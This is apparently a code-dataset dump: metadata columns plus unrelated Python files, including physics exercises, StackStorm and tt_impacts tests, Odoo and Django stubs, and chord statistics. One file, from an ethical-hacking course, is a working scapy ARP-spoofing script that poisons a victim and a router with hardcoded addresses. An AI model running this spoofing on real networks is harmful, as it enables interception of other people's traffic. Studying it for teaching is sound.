| 18.5 | 36 | 0.864865 | 5 | 37 | 6.2 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108108 | 37 | 1 | 37 | 37 | 0.939394 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
547449cba4d7a6b56da112b98e24482e002bee89 | 172 | py | Python | Practice_problems/Edabit/Find kinetic energy.py | riyabhatia26/Python-Programming | 2882728982c15c3b6380033eb2e90761b538dd93 | [
"MIT"
] | 3 | 2020-08-07T04:33:19.000Z | 2021-10-06T08:58:01.000Z | Practice_problems/Edabit/Find kinetic energy.py | riyabhatia26/Python-Programming | 2882728982c15c3b6380033eb2e90761b538dd93 | [
"MIT"
] | null | null | null | Practice_problems/Edabit/Find kinetic energy.py | riyabhatia26/Python-Programming | 2882728982c15c3b6380033eb2e90761b538dd93 | [
"MIT"
] | 2 | 2021-10-06T08:58:05.000Z | 2021-10-06T09:46:42.000Z | # Kinetic energy can be calculated with the following formula:
def calc_kinetic_energy(m, v):
return round(0.5 * m * (v ** 2))
print(calc_kinetic_energy(63.5, 7.35)) | 19.111111 | 62 | 0.703488 | 30 | 172 | 3.9 | 0.733333 | 0.333333 | 0.290598 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.062937 | 0.168605 | 172 | 9 | 63 | 19.111111 | 0.755245 | 0.348837 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.333333 | 0.666667 | 0.333333 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
49d1f0bd36e44408a03a642098a8ca183353791e | 8,287 | py | Python | st2tests/integration/mistral/test_wiring_rerun.py | nickbaum/st2 | 21c01c7c8c0f511ee75e3b2a3a03502472281058 | [
"Apache-2.0"
] | 1 | 2020-11-09T21:05:33.000Z | 2020-11-09T21:05:33.000Z | st2tests/integration/mistral/test_wiring_rerun.py | ellerbrock/st2 | b3a0d9f82053c1fd5adb616dc8331bad427cd11f | [
"Apache-2.0"
] | 3 | 2021-03-26T00:29:52.000Z | 2021-03-26T00:34:45.000Z | st2tests/integration/mistral/test_wiring_rerun.py | ellerbrock/st2 | b3a0d9f82053c1fd5adb616dc8331bad427cd11f | [
"Apache-2.0"
] | null | null | null | # Licensed to the StackStorm, Inc ('StackStorm') under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use th... | 38.18894 | 84 | 0.658501 | 1,141 | 8,287 | 4.511832 | 0.138475 | 0.041181 | 0.036713 | 0.044872 | 0.778166 | 0.773116 | 0.773116 | 0.773116 | 0.773116 | 0.773116 | 0 | 0.012131 | 0.224086 | 8,287 | 216 | 85 | 38.365741 | 0.788491 | 0.096657 | 0 | 0.774834 | 0 | 0 | 0.098808 | 0.034409 | 0 | 0 | 0 | 0 | 0.165563 | 1 | 0.059603 | false | 0 | 0.039735 | 0 | 0.112583 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
3f7725aeba944ace7abdbb7c40721c3ff6862d63 | 773 | py | Python | Bug Management System/controllers/controllers.py | vivekbarsagadey/Bug_Management_System | b022a9f1b841e029a2417decdb47a5d578496776 | [
"MIT"
] | null | null | null | Bug Management System/controllers/controllers.py | vivekbarsagadey/Bug_Management_System | b022a9f1b841e029a2417decdb47a5d578496776 | [
"MIT"
] | null | null | null | Bug Management System/controllers/controllers.py | vivekbarsagadey/Bug_Management_System | b022a9f1b841e029a2417decdb47a5d578496776 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from odoo import http
# class ProjectBugs(http.Controller):
# @http.route('/project_bugs/project_bugs/', auth='public')
# def index(self, **kw):
# return "Hello, world"
# @http.route('/project_bugs/project_bugs/objects/', auth='public')
# def list(self, **kw):
# ... | 38.65 | 112 | 0.601552 | 89 | 773 | 5.067416 | 0.370787 | 0.341463 | 0.239468 | 0.292683 | 0.461197 | 0.396896 | 0.32816 | 0 | 0 | 0 | 0 | 0.001634 | 0.208279 | 773 | 20 | 113 | 38.65 | 0.735294 | 0.926261 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
3f84938bdb98394dd0a59c24fa126d7d42d6ddd4 | 19,709 | py | Python | src/tt_impacts/tt_impacts/tests/test_handlers.py | serhii73/the-tale | ee69b033f57fae5004c14afb51f4a6679b189410 | [
"BSD-3-Clause"
] | null | null | null | src/tt_impacts/tt_impacts/tests/test_handlers.py | serhii73/the-tale | ee69b033f57fae5004c14afb51f4a6679b189410 | [
"BSD-3-Clause"
] | 1 | 2022-01-18T12:04:47.000Z | 2022-01-18T12:04:47.000Z | src/tt_impacts/tt_impacts/tests/test_handlers.py | serhii73/the-tale | ee69b033f57fae5004c14afb51f4a6679b189410 | [
"BSD-3-Clause"
] | null | null | null |
from aiohttp import test_utils
from tt_protocol.protocol import impacts_pb2
from tt_web import postgresql as db
from .. import objects
from .. import protobuf
from .. import operations
from . import helpers
class AddImpactsTests(helpers.BaseTests):
@test_utils.unittest_run_loop
async def test_success(se... | 51.865789 | 137 | 0.600386 | 2,152 | 19,709 | 5.27974 | 0.059015 | 0.062489 | 0.050871 | 0.042598 | 0.897113 | 0.886288 | 0.867101 | 0.844482 | 0.841313 | 0.813677 | 0 | 0.038319 | 0.300878 | 19,709 | 379 | 138 | 52.002639 | 0.786269 | 0.000254 | 0 | 0.608856 | 0 | 0 | 0.030202 | 0.001117 | 0 | 0 | 0 | 0 | 0.088561 | 1 | 0 | false | 0 | 0.02583 | 0 | 0.059041 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
3f9bd1379a8aef28ac9fa3e0656b71c969fb8455 | 31 | py | Python | multimodal/models/__init__.py | gitter-badger/multimodal | 7315e3f7d2b26891c342ed27f438a0bfb258f1f8 | [
"MIT"
] | 31 | 2021-01-06T02:30:40.000Z | 2021-06-14T12:21:34.000Z | multimodal/models/__init__.py | gitter-badger/multimodal | 7315e3f7d2b26891c342ed27f438a0bfb258f1f8 | [
"MIT"
] | 4 | 2021-03-26T23:40:17.000Z | 2021-05-12T20:51:37.000Z | multimodal/models/__init__.py | gitter-badger/multimodal | 7315e3f7d2b26891c342ed27f438a0bfb258f1f8 | [
"MIT"
] | 3 | 2021-04-04T17:50:55.000Z | 2021-04-06T19:54:54.000Z | from .updown import UpDownModel | 31 | 31 | 0.870968 | 4 | 31 | 6.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.096774 | 31 | 1 | 31 | 31 | 0.964286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
3fb75ac8075f589350e5cdcb6b86c563bbd666f6 | 10,867 | py | Python | chorderator/utils/stats/stats.py | billyblu2000/Chorderator | 6e5e077da649966e872dbd1494f3606a23937e8b | [
"MIT"
] | 7 | 2021-04-12T08:17:10.000Z | 2022-01-30T05:55:25.000Z | chorderator/utils/stats/stats.py | billyblu2000/Chorderator | 6e5e077da649966e872dbd1494f3606a23937e8b | [
"MIT"
] | null | null | null | chorderator/utils/stats/stats.py | billyblu2000/Chorderator | 6e5e077da649966e872dbd1494f3606a23937e8b | [
"MIT"
] | null | null | null | from settings import *
from chords.ChordProgression import read_progressions, print_progression_list
from utils.constants import *
from utils.utils import MIDILoader
from utils.utils import pick_progressions, np, listen
import matplotlib.pyplot as plt
if __name__ == '__main__':
# POP909 = 'progressions_from_pop909... | 38.399293 | 123 | 0.548265 | 1,612 | 10,867 | 3.598635 | 0.074442 | 0.045509 | 0.17066 | 0.144803 | 0.81779 | 0.813825 | 0.795208 | 0.785899 | 0.777969 | 0.75418 | 0 | 0.066609 | 0.260882 | 10,867 | 283 | 124 | 38.399293 | 0.655627 | 0.016288 | 0 | 0.433036 | 0 | 0 | 0.237694 | 0.026203 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.026786 | 0 | 0.026786 | 0.196429 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
3fc3d4c35c360d634aa093c940f6fa9fac4e9c65 | 1,378 | py | Python | example04-arpspoof/main.py | PacktPublishing/Python-Ethical-Hacking | a2aaf2dd2ba86535b6884ad4089d94594b9dc54a | [
"MIT"
] | 39 | 2021-04-19T05:14:23.000Z | 2022-03-29T03:08:21.000Z | example04-arpspoof/main.py | PacktPublishing/Python-Ethical-Hacking | a2aaf2dd2ba86535b6884ad4089d94594b9dc54a | [
"MIT"
] | null | null | null | example04-arpspoof/main.py | PacktPublishing/Python-Ethical-Hacking | a2aaf2dd2ba86535b6884ad4089d94594b9dc54a | [
"MIT"
] | 26 | 2021-04-11T08:46:51.000Z | 2022-03-22T06:04:21.000Z | from scapy.all import *
import time
def spoof_victim():
arp_response = ARP()
arp_response.op = 2
arp_response.pdst = "192.168.74.129"
arp_response.hwdst = "00:0C:29:BE:47:14"
arp_response.hwsrc = "00:0c:29:90:79:02"
arp_response.psrc = "192.168.74.2"
send(arp_response)
def spoof_router():... | 23.355932 | 44 | 0.624819 | 211 | 1,378 | 3.890995 | 0.246446 | 0.375152 | 0.077954 | 0.082826 | 0.738124 | 0.738124 | 0.738124 | 0.738124 | 0.718636 | 0.718636 | 0 | 0.152607 | 0.234398 | 1,378 | 58 | 45 | 23.758621 | 0.625592 | 0.032656 | 0 | 0.604651 | 0 | 0 | 0.201504 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.069767 | false | 0 | 0.046512 | 0 | 0.116279 | 0.046512 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
3ff6d8eb7a5cbaff6d29d28c285d316578bee96f | 157 | py | Python | user/admin.py | langliu/flower-back-end | 1df64cb2dc3572cbf8423e21d75b3fcbfe20820c | [
"Apache-2.0"
] | null | null | null | user/admin.py | langliu/flower-back-end | 1df64cb2dc3572cbf8423e21d75b3fcbfe20820c | [
"Apache-2.0"
] | null | null | null | user/admin.py | langliu/flower-back-end | 1df64cb2dc3572cbf8423e21d75b3fcbfe20820c | [
"Apache-2.0"
] | null | null | null | from django.contrib import admin
from .models import User, Team, TeamUser
admin.site.register(User)
admin.site.register(Team)
admin.site.register(TeamUser)
| 22.428571 | 40 | 0.808917 | 23 | 157 | 5.521739 | 0.478261 | 0.212598 | 0.401575 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.089172 | 157 | 6 | 41 | 26.166667 | 0.888112 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
b751776c7de8927bc41623b1ac0ada4634899f29 | 41 | py | Python | src/neural_networks/architectures/ConvolutionalNeuralNetwork.py | jmetzz/ml-fundamentals | 36ab416f4ca0737c76f76b24dec3b51c4c7a0071 | [
"MIT"
] | 1 | 2018-05-10T11:00:34.000Z | 2018-05-10T11:00:34.000Z | src/neural_networks/architectures/ConvolutionalNeuralNetwork.py | jmetzz/ml-fundamentals | 36ab416f4ca0737c76f76b24dec3b51c4c7a0071 | [
"MIT"
] | null | null | null | src/neural_networks/architectures/ConvolutionalNeuralNetwork.py | jmetzz/ml-fundamentals | 36ab416f4ca0737c76f76b24dec3b51c4c7a0071 | [
"MIT"
] | null | null | null | class ConvolutionalNeuralNetwork:
pass
| 13.666667 | 33 | 0.853659 | 3 | 41 | 11.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.121951 | 41 | 2 | 34 | 20.5 | 0.972222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
b7775ad68e5d35e7a270605641bd9028a4380c67 | 306 | py | Python | espnet2/tasks/sid.py | underdogliu/espnet | 2857458b153db0d22c5706e55c04f9c4e4216ac5 | [
"Apache-2.0"
] | 1 | 2022-01-19T11:15:30.000Z | 2022-01-19T11:15:30.000Z | espnet2/tasks/sid.py | underdogliu/espnet | 2857458b153db0d22c5706e55c04f9c4e4216ac5 | [
"Apache-2.0"
] | null | null | null | espnet2/tasks/sid.py | underdogliu/espnet | 2857458b153db0d22c5706e55c04f9c4e4216ac5 | [
"Apache-2.0"
] | null | null | null | import argparse
import logging
from typing import Callable
from typing import Collection
from typing import Dict
from typing import List
from typing import Optional
from typing import Tuple
import numpy as np
import torch
from typeguard import check_argument_types
from typeguard import check_return_type
| 21.857143 | 42 | 0.859477 | 46 | 306 | 5.630435 | 0.456522 | 0.23166 | 0.370656 | 0.185328 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.140523 | 306 | 13 | 43 | 23.538462 | 0.984791 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
b7be8f373354cfae6722f8b23deb34dc9cfc19cc | 36 | py | Python | explorer/python-api/app.py | johnnynetgevity/cardano-sl | 1499214d93767b703b9599369a431e67d83f10a2 | [
"Apache-2.0"
] | 4,174 | 2017-01-15T16:32:20.000Z | 2022-03-30T12:41:57.000Z | explorer/python-api/app.py | johnnynetgevity/cardano-sl | 1499214d93767b703b9599369a431e67d83f10a2 | [
"Apache-2.0"
] | 2,959 | 2017-01-23T08:40:46.000Z | 2020-07-29T07:59:43.000Z | explorer/python-api/app.py | johnnynetgevity/cardano-sl | 1499214d93767b703b9599369a431e67d83f10a2 | [
"Apache-2.0"
] | 779 | 2017-01-20T22:23:05.000Z | 2022-03-30T12:41:59.000Z | from explorer_python_api import app
| 18 | 35 | 0.888889 | 6 | 36 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 36 | 1 | 36 | 36 | 0.9375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
b7cf0f1e6e34f94f2c5f5621ec5064249bcb0f2f | 940 | py | Python | flopter/core/ivanalyser.py | jackleland/flopter | 8f18f81470b456884108dc33baee836a672409c4 | [
"MIT"
] | 3 | 2019-05-31T11:44:27.000Z | 2021-04-29T11:03:25.000Z | flopter/core/ivanalyser.py | jackleland/flopter | 8f18f81470b456884108dc33baee836a672409c4 | [
"MIT"
] | 3 | 2019-07-09T20:26:43.000Z | 2021-04-30T15:38:26.000Z | flopter/core/ivanalyser.py | jackleland/flopter | 8f18f81470b456884108dc33baee836a672409c4 | [
"MIT"
] | 1 | 2019-09-10T02:34:57.000Z | 2019-09-10T02:34:57.000Z | from abc import ABC, abstractmethod
class IVAnalyser(ABC):
"""
Abstract base class for the analysis of Langmuir Probe data.
"""
@abstractmethod
def prepare(self):
pass
@abstractmethod
def trim(self):
pass
@abstractmethod
def denormalise(self):
pass
@a... | 20.434783 | 76 | 0.609574 | 108 | 940 | 5.212963 | 0.527778 | 0.211368 | 0.223801 | 0.222025 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006116 | 0.304255 | 940 | 45 | 77 | 20.888889 | 0.85474 | 0.254255 | 0 | 0.458333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022222 | 0 | 1 | 0.291667 | false | 0.25 | 0.041667 | 0 | 0.416667 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
b7e547c2a56ae3b7833d0e2d9502fb10fe0edccf | 36 | py | Python | lawyertools/it/interessi_legali/__init__.py | lawengineeringsystems/lawyertools | b71098aaf893819e890ccc7940a14bdabb7845fa | [
"MIT"
] | 2 | 2021-11-20T18:36:45.000Z | 2021-11-25T16:56:00.000Z | lawyertools/it/interessi_legali/__init__.py | lawengineeringsystems/lawyertools | b71098aaf893819e890ccc7940a14bdabb7845fa | [
"MIT"
] | null | null | null | lawyertools/it/interessi_legali/__init__.py | lawengineeringsystems/lawyertools | b71098aaf893819e890ccc7940a14bdabb7845fa | [
"MIT"
] | null | null | null | from .main import calcola_interessi
| 18 | 35 | 0.861111 | 5 | 36 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 36 | 1 | 36 | 36 | 0.9375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4d26fd54291ed3945f7bdbc701f792e3fc321740 | 318 | py | Python | fca/readwrite/__init__.py | ksiomelo/cubix | cd9e6dda6696b302a7c0d383259a9d60b15b0d55 | [
"Apache-2.0"
] | 3 | 2015-09-07T00:16:16.000Z | 2019-01-11T20:27:56.000Z | fca/readwrite/__init__.py | ksiomelo/cubix | cd9e6dda6696b302a7c0d383259a9d60b15b0d55 | [
"Apache-2.0"
] | null | null | null | fca/readwrite/__init__.py | ksiomelo/cubix | cd9e6dda6696b302a7c0d383259a9d60b15b0d55 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
"""Module holds functions that read context from various formats of files"""
from fca.readwrite.tab_separated import *
from fca.readwrite.comma_separated import *
from fca.readwrite.cxt import *
from fca.readwrite.dot import *
from fca.readwrite.xml_ import *
from fca.readwrite.fimi import *
| 31.8 | 76 | 0.767296 | 46 | 318 | 5.23913 | 0.521739 | 0.174274 | 0.39834 | 0.456432 | 0.257261 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00361 | 0.128931 | 318 | 9 | 77 | 35.333333 | 0.866426 | 0.292453 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4d343d1073a3d9f80ce5756afe4c752b3da4f8d2 | 31 | py | Python | test_src/manage.py | FloThinksPi-Forks/vstutils | eeb4d7a4d280cb8b844d9c9ab212e88f7bbe5d38 | [
"Apache-2.0"
] | 36 | 2018-05-29T22:55:45.000Z | 2021-11-18T22:59:29.000Z | test_src/manage.py | FloThinksPi-Forks/vstutils | eeb4d7a4d280cb8b844d9c9ab212e88f7bbe5d38 | [
"Apache-2.0"
] | 19 | 2020-03-05T01:31:52.000Z | 2022-01-21T08:22:19.000Z | test_src/manage.py | FloThinksPi-Forks/vstutils | eeb4d7a4d280cb8b844d9c9ab212e88f7bbe5d38 | [
"Apache-2.0"
] | 10 | 2018-07-30T10:14:30.000Z | 2022-01-08T12:07:20.000Z | from test_proj import __main__
| 15.5 | 30 | 0.870968 | 5 | 31 | 4.4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129032 | 31 | 1 | 31 | 31 | 0.814815 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4d523c10eb4b0d9320182ba17d49968fbca1066d | 50 | py | Python | packages/pyright-scip/snapshots/input/file_from_module_import/file_from_module.py | sourcegraph/pyright | f6a94a47f7e61172fd108ee9a4c62f748e1d24af | [
"MIT"
] | null | null | null | packages/pyright-scip/snapshots/input/file_from_module_import/file_from_module.py | sourcegraph/pyright | f6a94a47f7e61172fd108ee9a4c62f748e1d24af | [
"MIT"
] | 19 | 2022-03-17T03:20:34.000Z | 2022-03-31T02:53:12.000Z | packages/pyright-scip/snapshots/input/file_from_module_import/file_from_module.py | sourcegraph/pyright | f6a94a47f7e61172fd108ee9a4c62f748e1d24af | [
"MIT"
] | null | null | null | from xyz import nested_file
print(nested_file.X)
| 12.5 | 27 | 0.82 | 9 | 50 | 4.333333 | 0.777778 | 0.512821 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12 | 50 | 3 | 28 | 16.666667 | 0.886364 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.5 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
4d74acc8450cbba646e73b8759c209e0694e3745 | 26 | py | Python | model_pytorch/__init__.py | aditya-dl/LeNet5 | a35bf8ceccdc312904cfcfff32d7541813fb3ceb | [
"MIT"
] | null | null | null | model_pytorch/__init__.py | aditya-dl/LeNet5 | a35bf8ceccdc312904cfcfff32d7541813fb3ceb | [
"MIT"
] | null | null | null | model_pytorch/__init__.py | aditya-dl/LeNet5 | a35bf8ceccdc312904cfcfff32d7541813fb3ceb | [
"MIT"
] | null | null | null | from .model import LeNet5
| 13 | 25 | 0.807692 | 4 | 26 | 5.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045455 | 0.153846 | 26 | 1 | 26 | 26 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4d838b968b6a4133c6fc477a6a0512fc842ac7b3 | 289 | py | Python | vasptools/input_output.py | atomse/vasptools | 3ebbda1097c86a3026dee1f7b2d1bbc99971d509 | [
"MIT"
] | null | null | null | vasptools/input_output.py | atomse/vasptools | 3ebbda1097c86a3026dee1f7b2d1bbc99971d509 | [
"MIT"
] | 3 | 2019-03-28T03:04:52.000Z | 2019-04-02T02:58:32.000Z | vasptools/input_output.py | atomse/vasptools | 3ebbda1097c86a3026dee1f7b2d1bbc99971d509 | [
"MIT"
] | 1 | 2019-03-28T02:14:25.000Z | 2019-03-28T02:14:25.000Z | """
VASP Input/Output
"""
import chemio
def read(filename, filetype=None):
return chemio.read(filename, filetype)
def write(filename, arrays, filetype=None):
chemio.write(filename, arrays, filetype)
def preview(arrays, filetype):
chemio.preview(arrays, filetype)
| 11.56 | 44 | 0.705882 | 34 | 289 | 6 | 0.411765 | 0.27451 | 0.196078 | 0.264706 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.17301 | 289 | 24 | 45 | 12.041667 | 0.853556 | 0.058824 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.428571 | false | 0 | 0.142857 | 0.142857 | 0.714286 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
4d952d83f7be907cb322d17c1c0af299497b05a9 | 46,383 | py | Python | scripts/e277.py | JackKelly/neuralnilm_prototype | 2119292e7d5c8a137797ad3c9abf9f37e7f749af | [
"MIT"
] | 38 | 2015-08-14T14:38:52.000Z | 2021-12-15T03:21:04.000Z | scripts/e277.py | VidipG/neuralnilm_prototype | 2119292e7d5c8a137797ad3c9abf9f37e7f749af | [
"MIT"
] | null | null | null | scripts/e277.py | VidipG/neuralnilm_prototype | 2119292e7d5c8a137797ad3c9abf9f37e7f749af | [
"MIT"
] | 26 | 2015-09-24T20:55:26.000Z | 2021-12-07T15:42:09.000Z | from __future__ import print_function, division
import matplotlib
import logging
from sys import stdout
matplotlib.use('Agg') # Must be before importing matplotlib.pyplot or pylab!
from neuralnilm import (Net, RealApplianceSource,
BLSTMLayer, DimshuffleLayer,
